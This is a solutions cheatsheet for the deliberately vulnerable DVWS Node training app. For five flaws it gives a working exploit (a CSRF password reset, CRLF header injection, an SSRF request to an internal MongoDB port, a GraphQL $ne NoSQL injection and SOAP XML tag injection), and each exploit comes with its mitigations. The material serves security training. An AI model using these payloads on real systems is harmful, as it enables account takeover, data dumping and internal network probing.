Solutions Cheatsheet

DVWS Node - Vulnerability Solutions Cheatsheet

This cheatsheet describes the vulnerabilities implemented in DVWS Node, how to verify/exploit them, and how to fix them.

1. Cross-Site Request Forgery (CSRF)

Description The password update endpoint (/v2/users/password) does not verify the user's old password nor does it require an Anti-CSRF token. This allows an attacker to trick a logged-in user into changing their password by visiting a malicious site.

Exploitation

curl -X POST http://localhost/api/v2/users/password \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "newPassword": "pwnd"}'

Note: This works unauthenticated for demonstration, but in a real attack, the browser sends the session cookies.

Mitigation

• Verify the oldPassword before allowing changes.
• Implement Synchronizer Token Pattern (Anti-CSRF Tokens).
• Use SameSite=Strict for session cookies.

---

2. CRLF Injection (HTTP Response Splitting)

Description The User Preference endpoint (/v2/preference) echoes the theme query parameter directly into the X-User-Preference response header. Newline characters (%0d%0a) can be used to inject new headers or split the response body.

Exploitation

curl -v "http://localhost/api/v2/preference?theme=dark%0d%0aSet-Cookie:hacked=true"

Result: The response will contain a Set-Cookie: hacked=true header.

Mitigation

• Sanitize input to remove newline characters (\r, \n) before using them in headers.
• Use framework methods that automatically validate header values.

---

3. Server-Side Request Forgery (SSRF) / Webhook

Description The Note Import endpoint (/v2/notes/import) accepts a url parameter and fetches it from the server side without validation. This allows scanning internal network ports or accessing cloud metadata services.

Exploitation

1. Login to get a token.
2. Send request:

curl -X POST http://localhost/api/v2/notes/import \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1:27017"}'

Result: Might leak MongoDB banner or connection errors indicating port status.

Mitigation

• Validate the URL against an allowlist of permitted domains.
• Block requests to private IP ranges (127.0.0.1, 192.168.x.x, 10.x.x.x, etc.).

---

4. GraphQL NoSQL Injection

Description The unsafeSearch GraphQL query parses the filter string argument as JSON and passes it directly to the MongoDB find() method. This allows injecting MongoDB operators.

Exploitation

curl -X POST http://localhost:4000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "query { unsafeSearch(filter: \"{\\\"username\\\": {\\\"$ne\\\": null}}\") { username } }"}'

Result: Returns all users (e.g. "admin"), dumping the database.

Mitigation

• Do not use JSON.parse on untrusted input to build queries.
• Validate that input fields are simple strings/types, not objects.
• Use a safer query building mechanism.

---

5. SOAP / XML Injection

Description The SOAP service constructs XML responses using manual string concatenation with user input. This allows injecting XML tags, potentially altering the message structure.

Exploitation Send a request with username: admin</username><username xsi:type="xsd:string">hacked Result: The response contains the injected tag, which can be interpreted by the client as valid data.

Mitigation

• Use a proper XML builder library (like xml2js.Builder) that automatically escapes special characters (<, >, &).
• Never concatenate strings to build XML/JSON.